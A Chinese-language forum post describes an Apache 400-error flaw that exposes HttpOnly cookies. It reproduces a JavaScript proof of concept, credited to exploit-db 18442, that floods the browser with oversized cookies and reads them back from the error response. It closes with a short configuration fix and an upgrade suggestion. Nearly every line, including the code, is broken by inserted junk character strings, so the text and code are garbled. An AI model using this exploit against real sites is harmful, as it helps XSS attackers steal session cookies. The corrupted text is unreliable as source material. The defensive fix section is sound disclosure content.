很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。: u3 o9 Q" x3 g/ g$ s$ j' q- {
- @+ ^, s! ]8 x" D4 {5 A: v- T
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:3 W+ `0 \8 S1 s( k1 i$ n. ^, Q9 w" q
" Q+ H4 X' H, _0 g8 }6 e3 N
" `6 H! k- q& v4 J% e6 x0 v) y* }! l// http://www.exploit-db.com/exploits/18442/: E. X% [2 e$ k/ z. |) g4 e4 Z
function setCookies (good) {. k: B; Y) _, O1 g: N
// Construct string for cookie value- y4 z3 D! r, T( A. ^6 G: W
var str = "";
& a" R3 J; J9 Mfor (var i=0; i< 819; i++) {
6 x% ], Z$ h- Cstr += "x";
0 X5 A: f9 S' ]}6 D8 e4 x% U. r
// Set cookies
7 }; A) x: g; m5 D- Ofor (i = 0; i < 10; i++) {
& Q+ _8 }% g' D2 M// Expire evil cookie
M# S* X0 W) J- O5 d2 s. m3 Fif (good) {, |/ J7 }+ X+ h* N G
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";! p( q9 l5 m& A5 f9 z M
}9 l9 P0 C( c. F7 R5 G, K( G
// Set evil cookie& ]5 g) T. ]3 ^% j2 i4 u1 B
else {
0 V& A8 x. u3 y0 Y% Fvar cookie = "xss"+i+"="+str+";path=/";
9 h$ k8 y* V, E$ o}
5 o; K. _+ }( m0 i. E& c% k! Vdocument.cookie = cookie;
1 x F! [/ u8 N' M5 I6 ]+ y} e* Z3 k# T! y) L' q6 k
}; ?" h# q! p/ l( V7 ?# W' k3 [, [1 K
function makeRequest() {) c: L5 O a, W, c
setCookies();
# i5 u3 z' G8 H0 R. Wfunction parseCookies () {2 d3 N& a/ g$ m. g* U
var cookie_dict = {};+ X; t! ~% m! c- L
// Only react on 400 status/ [' D# v. g5 X! s" W0 p! z- s
if (xhr.readyState === 4 && xhr.status === 400) {
6 x8 G1 L0 x- g4 T6 H9 ]// Replace newlines and match <pre> content( z, ?- J( g- J3 Z6 f
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);# O* ^% U4 r; r2 K3 p1 W
if (content.length) {. H9 V! ]; y& N: K$ s
// Remove Cookie: prefix, r) R' H1 `0 y+ T* h- a" v% Y& K0 x8 P# {
content = content[1].replace("Cookie: ", "");7 ~$ x* e1 N4 y
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
9 W' w9 O- P- J" j/ e; M, h// Add cookies to object9 z: h. W* e) O1 o, E
for (var i=0; i<cookies.length; i++) {; C. F: V; V! L$ {' h0 j
var s_c = cookies.split('=',2);5 _( z+ t! f- |4 m6 D) l2 T
cookie_dict[s_c[0]] = s_c[1];" j. K, {7 P$ c5 U d* [; D; w, G! [
}
$ [; Q7 C& J3 C( {' \, `7 n6 F% w}
; e# o1 b ?5 e5 s1 M// Unset malicious cookies
9 a2 z$ `" K! }# V3 V6 }setCookies(true);4 K% v4 G1 l" l
alert(JSON.stringify(cookie_dict));
3 u8 V* ^2 `6 E. ?}
. I% t# e. k9 w, p}& l: Q/ z1 m i3 o4 }9 Z
// Make XHR request
. l, j. y0 U- ?6 h, ~+ cvar xhr = new XMLHttpRequest();
' f9 m) i( ~+ w# `xhr.onreadystatechange = parseCookies;
2 T v8 C9 L# q' ixhr.open("GET", "/", true);
! M- h& k c( q" x9 ~& Lxhr.send(null);4 d/ y& W, V, b/ P
}
" |- F$ _& s* e kmakeRequest();2 Q" ^8 a( k0 Y: M% H
; n1 a- c8 j" Z4 A }, [5 a你就能看见华丽丽的400错误包含着cookie信息。" H: d$ h3 s0 i; p5 ?# V
% B/ l% u( a# P' t8 F! T下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#. A6 `- [ ~" V: A1 t& S3 h
! w4 `3 v2 U, {8 j修复方案:% W2 z/ x0 ~4 J) ^
7 N% I k6 n1 n( u5 T' L
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下) l" v7 P6 u M
3 w+ V) r: L& {0 F
In the event of a problem or error, Apachecan be configured to do one of four things,
: u. s) Z) R" {1 p
9 {! w1 K, C. S# ]$ G6 ~0 j$ T7 U1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
5 m: L8 c) k) S5 \& q2. output acustomized message输出一段信息
$ ~3 Q7 N& T1 X* M" l* Q; d3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
0 Y, v0 u/ U- C: k4. redirect to an external URL to handle theproblem/error转向一个外部URL& d0 r7 l4 \" w1 x$ |) A8 k
O: ^' U/ c5 c/ Q# j0 o
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
( `/ Q' A. s* \7 e% \) {4 G& O' V# G# t. x" T: e: K
Apache配置:6 k1 J& H: [8 S3 o' A ]4 A
+ h6 d W. |* _8 k, V* z
ErrorDocument400 " security test": |* l/ V4 `3 Y% x; H% `: k
. B% j* U; G+ M8 W/ n当然,升级apache到最新也可:)。
, Q# Z# {, X8 v7 c: U' N2 }
/ w) q% f/ b8 E. m* a5 o- Z参考:http://httpd.apache.org/security/vulnerabilities_22.html0 P, }* {0 N6 i* d8 A- Q
' S& \ M! t7 @) y% o) Q |